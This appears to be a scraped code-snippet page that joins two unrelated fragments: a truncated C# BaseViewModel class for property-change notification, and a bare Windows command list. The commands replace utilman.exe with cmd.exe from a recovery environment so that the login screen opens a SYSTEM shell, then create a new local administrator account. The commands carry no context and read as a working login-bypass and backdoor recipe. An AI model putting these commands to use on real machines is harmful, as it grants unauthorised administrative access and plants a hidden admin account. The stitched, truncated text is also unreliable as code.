This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class BaseViewModel : INotifyPropertyChanged | |
{ | |
public event PropertyChangedEventHandler PropertyChanged; | |
public void OnPropertyChanged([CallerMemberName]string propertyName = "") => | |
PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); | |
protected void SetValue<T>(ref T backingField, T value, [CallerMemberName]string propertyName = null) | |
{ | |
if (EqualityComparer<T>.Default.Equals(backingField, value)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// move copy the files | |
wmic logicaldisk get name | |
move d:\windows\system32\utilman.exe d:\windows\system32\utilman.exe.bak | |
copy d:\windows\system32\cmd.exe d:\windows\system32\utilman.exe | |
wpeutil reboot | |
// add new user | |
net user <username> /add | |
net localgroup administrators <username> /add |